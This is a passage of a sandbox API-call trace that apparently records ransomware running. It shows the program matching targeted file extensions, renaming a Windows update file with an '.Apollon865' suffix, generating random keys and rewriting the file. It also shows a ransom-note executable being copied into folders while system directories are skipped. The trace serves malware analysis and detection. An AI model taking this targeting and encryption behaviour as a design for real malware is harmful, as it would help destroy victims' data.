	[0076.479] lstrlenW (lpString="itdb") returned 4
	[0076.479] lstrcmpiW (lpString1=".msu", lpString2="itdb") returned -1
	[0076.479] lstrlenW (lpString="itw") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="itw") returned 1
	[0076.479] lstrlenW (lpString="jet") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="jet") returned 1
	[0076.479] lstrlenW (lpString="jtx") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="jtx") returned 1
	[0076.479] lstrlenW (lpString="kdb") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="kdb") returned 1
	[0076.480] lstrlenW (lpString="kexi") returned 4
	[0076.480] lstrcmpiW (lpString1=".msu", lpString2="kexi") returned -1
	[0076.480] lstrlenW (lpString="kexic") returned 5
	[0076.480] lstrcmpiW (lpString1="4.msu", lpString2="kexic") returned -1
	[0076.480] lstrlenW (lpString="kexis") returned 5
	[0076.480] lstrcmpiW (lpString1="4.msu", lpString2="kexis") returned -1
	[0076.480] lstrlenW (lpString="lgc") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="lgc") returned 1
	[0076.480] lstrlenW (lpString="lwx") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="lwx") returned 1
	[0076.480] lstrlenW (lpString="maf") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="maf") returned 1
	[0076.480] lstrlenW (lpString="maq") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="maq") returned 1
	[0076.480] lstrlenW (lpString="mar") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mar") returned 1
	[0076.480] lstrlenW (lpString="marshal") returned 7
	[0076.480] lstrcmpiW (lpString1="x64.msu", lpString2="marshal") returned 1
	[0076.480] lstrlenW (lpString="mas") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mas") returned 1
	[0076.480] lstrlenW (lpString="mav") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mav") returned 1
	[0076.480] lstrlenW (lpString="maw") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="maw") returned 1
	[0076.480] lstrlenW (lpString="mdbhtml") returned 7
	[0076.480] lstrcmpiW (lpString1="x64.msu", lpString2="mdbhtml") returned 1
	[0076.480] lstrlenW (lpString="mdn") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mdn") returned 1
	[0076.480] lstrlenW (lpString="mdt") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mdt") returned 1
	[0076.480] lstrlenW (lpString="mfd") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mfd") returned 1
	[0076.480] lstrlenW (lpString="mpd") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mpd") returned 1
	[0076.480] lstrlenW (lpString="mrg") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mrg") returned 1
	[0076.480] lstrlenW (lpString="mud") returned 3
	[0076.480] lstrcmpiW (lpString1="msu", lpString2="mud") returned -1
	[0076.480] lstrlenW (lpString="mwb") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="mwb") returned -1
	[0076.481] lstrlenW (lpString="myd") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="myd") returned -1
	[0076.481] lstrlenW (lpString="ndf") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="ndf") returned -1
	[0076.481] lstrlenW (lpString="nnt") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="nnt") returned -1
	[0076.481] lstrlenW (lpString="nrmlib") returned 6
	[0076.481] lstrcmpiW (lpString1="64.msu", lpString2="nrmlib") returned -1
	[0076.481] lstrlenW (lpString="ns2") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="ns2") returned -1
	[0076.481] lstrlenW (lpString="ns3") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="ns3") returned -1
	[0076.481] lstrlenW (lpString="ns4") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="ns4") returned -1
	[0076.481] lstrlenW (lpString="nsf") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="nsf") returned -1
	[0076.481] lstrlenW (lpString="nv") returned 2
	[0076.481] lstrcmpiW (lpString1="su", lpString2="nv") returned 1
	[0076.481] lstrlenW (lpString="nv2") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="nv2") returned -1
	[0076.481] lstrlenW (lpString="nwdb") returned 4
	[0076.481] lstrcmpiW (lpString1=".msu", lpString2="nwdb") returned -1
	[0076.481] lstrlenW (lpString="nyf") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="nyf") returned -1
	[0076.481] lstrlenW (lpString="odb") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="odb") returned -1
	[0076.481] lstrlenW (lpString="odb") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="odb") returned -1
	[0076.481] lstrlenW (lpString="oqy") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="oqy") returned -1
	[0076.481] lstrlenW (lpString="ora") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="ora") returned -1
	[0076.481] lstrlenW (lpString="orx") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="orx") returned -1
	[0076.481] lstrlenW (lpString="owc") returned 3
	[0076.481] lstrcmpiW (lpString1="msu", lpString2="owc") returned -1
	[0076.481] lstrlenW (lpString="p96") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="p96") returned -1
	[0076.482] lstrlenW (lpString="p97") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="p97") returned -1
	[0076.482] lstrlenW (lpString="pan") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="pan") returned -1
	[0076.482] lstrlenW (lpString="pdb") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="pdb") returned -1
	[0076.482] lstrlenW (lpString="pdm") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="pdm") returned -1
	[0076.482] lstrlenW (lpString="pnz") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="pnz") returned -1
	[0076.482] lstrlenW (lpString="qry") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="qry") returned -1
	[0076.482] lstrlenW (lpString="qvd") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="qvd") returned -1
	[0076.482] lstrlenW (lpString="rbf") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="rbf") returned -1
	[0076.482] lstrlenW (lpString="rctd") returned 4
	[0076.482] lstrcmpiW (lpString1=".msu", lpString2="rctd") returned -1
	[0076.482] lstrlenW (lpString="rod") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="rod") returned -1
	[0076.482] lstrlenW (lpString="rodx") returned 4
	[0076.482] lstrcmpiW (lpString1=".msu", lpString2="rodx") returned -1
	[0076.482] lstrlenW (lpString="rpd") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="rpd") returned -1
	[0076.482] lstrlenW (lpString="rsd") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="rsd") returned -1
	[0076.482] lstrlenW (lpString="sas7bdat") returned 8
	[0076.482] lstrcmpiW (lpString1="-x64.msu", lpString2="sas7bdat") returned 1
	[0076.482] lstrlenW (lpString="sbf") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="sbf") returned -1
	[0076.482] lstrlenW (lpString="scx") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="scx") returned -1
	[0076.482] lstrlenW (lpString="sdb") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="sdb") returned -1
	[0076.482] lstrlenW (lpString="sdc") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="sdc") returned -1
	[0076.482] lstrlenW (lpString="sdf") returned 3
	[0076.482] lstrcmpiW (lpString1="msu", lpString2="sdf") returned -1
	[0076.483] lstrlenW (lpString="sis") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="sis") returned -1
	[0076.483] lstrlenW (lpString="spq") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="spq") returned -1
	[0076.483] lstrlenW (lpString="te") returned 2
	[0076.483] lstrcmpiW (lpString1="su", lpString2="te") returned -1
	[0076.483] lstrlenW (lpString="teacher") returned 7
	[0076.483] lstrcmpiW (lpString1="x64.msu", lpString2="teacher") returned 1
	[0076.483] lstrlenW (lpString="tmd") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="tmd") returned -1
	[0076.483] lstrlenW (lpString="tps") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="tps") returned -1
	[0076.483] lstrlenW (lpString="trc") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="trc") returned -1
	[0076.483] lstrlenW (lpString="trc") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="trc") returned -1
	[0076.483] lstrlenW (lpString="trm") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="trm") returned -1
	[0076.483] lstrlenW (lpString="udb") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="udb") returned -1
	[0076.483] lstrlenW (lpString="udl") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="udl") returned -1
	[0076.483] lstrlenW (lpString="usr") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="usr") returned -1
	[0076.483] lstrlenW (lpString="v12") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="v12") returned -1
	[0076.483] lstrlenW (lpString="vis") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="vis") returned -1
	[0076.483] lstrlenW (lpString="vpd") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="vpd") returned -1
	[0076.483] lstrlenW (lpString="vvv") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="vvv") returned -1
	[0076.483] lstrlenW (lpString="wdb") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="wdb") returned -1
	[0076.483] lstrlenW (lpString="wmdb") returned 4
	[0076.483] lstrcmpiW (lpString1=".msu", lpString2="wmdb") returned -1
	[0076.483] lstrlenW (lpString="wrk") returned 3
	[0076.483] lstrcmpiW (lpString1="msu", lpString2="wrk") returned -1
	[0076.483] lstrlenW (lpString="xdb") returned 3
	[0076.484] lstrcmpiW (lpString1="msu", lpString2="xdb") returned -1
	[0076.484] lstrlenW (lpString="xld") returned 3
	[0076.484] lstrcmpiW (lpString1="msu", lpString2="xld") returned -1
	[0076.484] lstrlenW (lpString="xmlff") returned 5
	[0076.484] lstrcmpiW (lpString1="4.msu", lpString2="xmlff") returned -1
	[0076.484] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865") returned 132
	[0076.484] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.apollon865"), dwFlags=0x1) returned 1
	[0076.485] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.Apollon865" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0076.485] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1034556) returned 1
	[0076.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0076.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0076.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0076.485] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0076.486] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0076.486] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0076.486] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfcc40, lpName=0x0) returned 0x15c
	[0076.490] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfcc40) returned 0x3390000
	[0076.999] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0077.000] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0077.000] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0077.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0077.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0077.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0077.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0077.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.000] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0077.010] CloseHandle (hObject=0x15c) returned 1
	[0077.010] CloseHandle (hObject=0xd8) returned 1
	[0077.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0077.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0077.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0077.014] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
	[0077.014] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0077.014] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0077.014] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0077.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0077.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0077.014] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73
	[0077.014] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0077.014] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.015] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.015] GetLastError () returned 0x0
	[0077.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.015] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.015] CloseHandle (hObject=0x150) returned 1
	[0077.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.016] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.016] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0077.016] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.016] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.016] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.016] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.016] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.016] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.016] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.016] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.016] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.016] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0077.016] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0077.016] lstrlenW (lpString="packages") returned 8
	[0077.016] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned 75
	[0077.016] lstrcpyW (in: lpString1=0x119e69c, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0077.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0077.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5c8f30
	[0077.017] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0077.017] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0077.017] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0077.017] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0077.017] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0077.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0077.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0077.017] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 82
	[0077.017] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0077.017] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.017] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.017] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.018] GetLastError () returned 0x0
	[0077.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.018] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.018] CloseHandle (hObject=0x150) returned 1
	[0077.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.018] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.018] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0077.018] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
